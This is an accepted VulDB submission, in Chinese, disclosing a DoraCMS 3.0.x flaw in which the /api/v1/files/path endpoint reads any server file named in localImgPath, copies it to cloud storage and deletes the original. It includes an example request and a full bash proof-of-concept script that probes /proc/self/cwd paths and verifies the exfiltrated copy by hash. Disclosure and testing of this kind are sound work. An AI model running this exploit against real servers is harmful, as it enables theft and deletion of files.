| Title | DoraCMS 3.0.x 文件读取并外传 |
|---|
| Description | 影响条件:上传配置为 `qn` 或 `oss`
- 路由入口:`/api/v1/files/path`
- [server/app/router/api/v1.js:98](/DoraCMS/server/app/router/api/v1.js:98)
- 核心处理函数:`createFileByPath`
- [server/app/controller/api/uploadFile.js:567](/DoraCMS/server/app/controller/api/uploadFile.js:567)
- `localImgPath` 直接取自请求体并传入上传函数:[server/app/controller/api/uploadFile.js:574](/DoraCMS/server/app/controller/api/uploadFile.js:574)、[server/app/controller/api/uploadFile.js:590](/DoraCMS/server/app/controller/api/uploadFile.js:590)、[server/app/controller/api/uploadFile.js:596](/DoraCMS/server/app/controller/api/uploadFile.js:596)
- 文件名字段依赖 `filename`(缺失会触发 500):
- [server/app/controller/api/uploadFile.js:270](/DoraCMS/server/app/controller/api/uploadFile.js:270)
- 鉴权中间件(登录态/API Key):
- [server/app/middleware/authApiToken.js:11](/DoraCMS/server/app/middleware/authApiToken.js:11)
- 危险副作用:上传成功后删除本地路径文件
- Qiniu: [server/app/controller/api/uploadFile.js:165](/DoraCMS/server/app/controller/api/uploadFile.js:165)
- OSS: [server/app/controller/api/uploadFile.js:195](/DoraCMS/server/app/controller/api/uploadFile.js:195)
## 安全复现步骤
说明:为避免触碰敏感文件,复现使用 `robots.txt` 作为安全样本。
1. 使用 `catchimage` 在目标服务器创建一个可读文件(得到静态路径)。
2. 构造 `localImgPath=/proc/self/cwd/app/public/<上一步文件相对路径>` 调用 `/api/v1/files/path`。
3. 获取返回的 CDN URL,下载并与原始 `robots.txt` 做 SHA-256 比对。
示例请求(关键字段):
```http
POST /api/v1/files/path HTTP/1.1
Host: demo.doracms.net
Authorization: Bearer <user_token_with_userId>
Content-Type: application/json
{
"imgPath": "/static/upload/images/20260226/1772086235211185180.png",
"localImgPath": "/proc/self/cwd/app/public/upload/images/20260226/1772086235211185180.png",
"filename": "safe-relay.txt"
}
```
## POC
```sh
#!/usr/bin/env bash
# DoraCMS /api/v1/files/path 安全验证脚本
# 目标:
# 1) 先通过 catchimage 在目标服务器生成一个测试文件
# 2) 再将该测试文件作为 localImgPath 传给 files/path
# 3) 验证是否可被上传到云存储并外链下载(读文件外传)
#
# 默认面向授权测试环境,避免直接读取/删除敏感文件。
set -euo pipefail
HOST="${HOST:-https://demo.doracms.net}"
TOKEN="${TOKEN:-}"
SOURCE_URL="${SOURCE_URL:-${HOST%/}/robots.txt}"
OUT_DIR="${OUT_DIR:-/tmp/doracms-files-path-safe}"
if [[ -z "${TOKEN}" ]]; then
echo "[ERROR] TOKEN 为空。"
echo "用法示例:"
echo " TOKEN='xxx' HOST='https://demo.doracms.net' ./scripts/test-files-path-safe.sh"
exit 1
fi
require_cmd() {
local cmd="$1"
if ! command -v "$cmd" >/dev/null 2>&1; then
echo "[ERROR] 缺少依赖: $cmd"
exit 1
fi
}
hash_file() {
local file="$1"
if command -v sha256sum >/dev/null 2>&1; then
sha256sum "$file" | awk '{print $1}'
else
shasum -a 256 "$file" | awk '{print $1}'
fi
}
is_http_url() {
local u="$1"
[[ "$u" =~ ^https?:// ]]
}
base64url_decode() {
local input="$1"
local padded="$input"
local mod=$(( ${#padded} % 4 ))
if [[ $mod -eq 2 ]]; then
padded="${padded}=="
elif [[ $mod -eq 3 ]]; then
padded="${padded}="
elif [[ $mod -eq 1 ]]; then
echo ""
return 1
fi
padded="${padded//-/+}"
padded="${padded//_/\/}"
if command -v base64 >/dev/null 2>&1; then
if base64 --help >/dev/null 2>&1; then
echo "$padded" | base64 --decode 2>/dev/null && return 0
fi
echo "$padded" | base64 -D 2>/dev/null && return 0
fi
return 1
}
decode_jwt_payload() {
local token="$1"
local payload
payload="$(echo "$token" | awk -F'.' '{print $2}')"
if [[ -z "$payload" ]]; then
return 1
fi
base64url_decode "$payload"
}
detect_token_type() {
local token="$1"
local payload_json
payload_json="$(decode_jwt_payload "$token" || true)"
if [[ -z "$payload_json" ]]; then
echo "unknown"
return 0
fi
if echo "$payload_json" | jq -e '.userId != null' >/dev/null 2>&1; then
echo "user"
return 0
fi
if echo "$payload_json" | jq -e '.id != null' >/dev/null 2>&1; then
echo "admin"
return 0
fi
echo "unknown"
}
require_cmd curl
require_cmd jq
if ! command -v sha256sum >/dev/null 2>&1 && ! command -v shasum >/dev/null 2>&1; then
echo "[ERROR] 缺少哈希工具: sha256sum 或 shasum"
exit 1
fi
mkdir -p "$OUT_DIR"
REPORT_FILE="$OUT_DIR/report.txt"
ORIG_FILE="$OUT_DIR/original.bin"
EXFIL_FILE="$OUT_DIR/exfil.bin"
echo "[INFO] HOST: $HOST"
echo "[INFO] SOURCE_URL: $SOURCE_URL"
echo "[INFO] OUT_DIR: $OUT_DIR"
TOKEN_TYPE="$(detect_token_type "$TOKEN")"
echo "[INFO] TOKEN_TYPE: $TOKEN_TYPE"
echo "[STEP 1] 校验 token 是否可用 (/api/v1/users/me)"
ME_RESP="$(curl -sS -X GET "${HOST%/}/api/v1/users/me" \
-H "Authorization: Bearer $TOKEN" \
-H 'Accept: application/json')"
if ! echo "$ME_RESP" | jq -e '.status == 200 or .success == true or .code == 200' >/dev/null 2>&1; then
echo "[ERROR] token 校验失败,响应如下:"
echo "$ME_RESP" | jq .
if [[ "$TOKEN_TYPE" == "admin" ]]; then
echo "[HINT] 当前 token 看起来是管理端 token(JWT payload 含 id)。"
echo "[HINT] /api/v1/files/path 依赖前台用户登录态,请改用 payload 含 userId 的用户 token。"
echo "[HINT] 可通过 /api/v1/auth/login 获取用户 token。"
fi
exit 1
fi
echo "[OK] token 可用"
echo "[STEP 2] 通过 catchimage 生成测试文件"
CATCH_PAYLOAD="$(jq -cn --arg s "$SOURCE_URL" '{source:[$s]}')"
CATCH_RESP="$(curl -sS -X POST "${HOST%/}/api/v1/upload/ueditor?action=catchimage" \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-d "$CATCH_PAYLOAD")"
CATCH_STATE="$(echo "$CATCH_RESP" | jq -r '.list[0].state // empty')"
CREATED_URL="$(echo "$CATCH_RESP" | jq -r '.list[0].url // empty')"
if [[ "$CATCH_STATE" != "SUCCESS" || -z "$CREATED_URL" ]]; then
echo "[ERROR] catchimage 生成测试文件失败,响应如下:"
echo "$CATCH_RESP" | jq .
exit 1
fi
echo "[OK] 生成成功: $CREATED_URL"
CREATED_PATH="$(echo "$CREATED_URL" | sed -E 's#^https?://[^/]+##')"
if [[ -z "$CREATED_PATH" || "$CREATED_PATH" != /* ]]; then
echo "[ERROR] 无法从 URL 提取路径: $CREATED_URL"
exit 1
fi
REL_PATH="$CREATED_PATH"
if [[ "$REL_PATH" == /static/* ]]; then
REL_PATH="${REL_PATH#/static}"
fi
echo "[STEP 3] 准备基准内容哈希"
curl -sS -fL "$SOURCE_URL" -o "$ORIG_FILE"
ORIG_HASH="$(hash_file "$ORIG_FILE")"
echo "[OK] 原始哈希: $ORIG_HASH"
echo "[STEP 4] 调用 /api/v1/files/path 进行安全验证"
declare -a CANDIDATES=(
"/proc/self/cwd/app/public${REL_PATH}"
"/proc/self/cwd/server/app/public${REL_PATH}"
"/proc/1/cwd/app/public${REL_PATH}"
"/proc/1/cwd/server/app/public${REL_PATH}"
"/app/server/app/public${REL_PATH}"
"/app/app/public${REL_PATH}"
"/app/public${REL_PATH}"
)
EXFIL_URL=""
SELECTED_PATH=""
LAST_RESP=""
for local_path in "${CANDIDATES[@]}"; do
echo "[TRY] localImgPath=$local_path"
FILES_PAYLOAD="$(jq -cn \
--arg img "$CREATED_PATH" \
--arg local "$local_path" \
--arg filename "safe-relay.txt" \
'{imgPath:$img, localImgPath:$local, filename:$filename}')"
RESP="$(curl -sS -X POST "${HOST%/}/api/v1/files/path" \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-d "$FILES_PAYLOAD")"
LAST_RESP="$RESP"
RET_PATH="$(echo "$RESP" | jq -r '.data.path // empty')"
if [[ -z "$RET_PATH" ]]; then
if echo "$RESP" | grep -q 'The "path" argument must be of type string. Received undefined'; then
echo "[WARN] 服务端报 path undefined,常见原因是 filename 缺失或 body 未按预期解析。"
fi
fi
if [[ -z "$RET_PATH" ]]; then
continue
fi
if is_http_url "$RET_PATH"; then
EXFIL_URL="$RET_PATH"
SELECTED_PATH="$local_path"
break
fi
if [[ "$RET_PATH" == /* ]]; then
echo "[WARN] 返回本地路径($RET_PATH),目标可能是 local 存储模式。"
fi
done
if [[ -z "$EXFIL_URL" ]]; then
echo "[ERROR] 未拿到可下载外链,无法确认“文件外传”成功。"
echo "[HINT] 可能原因:"
echo " 1) 目标不是 qn/oss 模式(是 local 模式)"
echo " 2) 目标部署路径与候选路径不一致"
echo " 3) token 权限不足"
echo "[DEBUG] 最后一次响应:"
echo "$LAST_RESP" | jq .
exit 2
fi
echo "[OK] 拿到外链: $EXFIL_URL"
echo "[STEP 5] 下载外链并比对哈希"
curl -sS -fL "$EXFIL_URL" -o "$EXFIL_FILE"
EXFIL_HASH="$(hash_file "$EXFIL_FILE")"
echo "[OK] 外传哈希: $EXFIL_HASH"
{
echo "time=$(date -u +%Y-%m-%dT%H:%M:%SZ)"
echo "host=$HOST"
echo "source_url=$SOURCE_URL"
echo "created_url=$CREATED_URL"
echo "created_path=$CREATED_PATH"
echo "selected_local_path=$SELECTED_PATH"
echo "exfil_url=$EXFIL_URL"
echo "orig_hash=$ORIG_HASH"
echo "exfil_hash=$EXFIL_HASH"
} >"$REPORT_FILE"
if [[ "$ORIG_HASH" == "$EXFIL_HASH" ]]; then
echo "[VULNERABLE] 复现成功:files/path 存在本地文件读取并外传风险。"
echo "[REPORT] $REPORT_FILE"
exit 0
fi
echo "[WARN] 拿到外链但哈希不一致,可能发生内容转换或目标链路改写。"
echo "[REPORT] $REPORT_FILE"
exit 3
``` |
|---|
| Source | ⚠️ https://demo.doracms.net |
|---|
| User | zsmaaa (UID 93294) |
|---|
| Submission | 02/26/2026 15:45 (1 month ago) |
|---|
| Moderation | 03/08/2026 08:32 (10 days later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 349762 [doramart DoraCMS 3.0.x v1.js createFileBypath path traversal] |
|---|
| Points | 17 |
|---|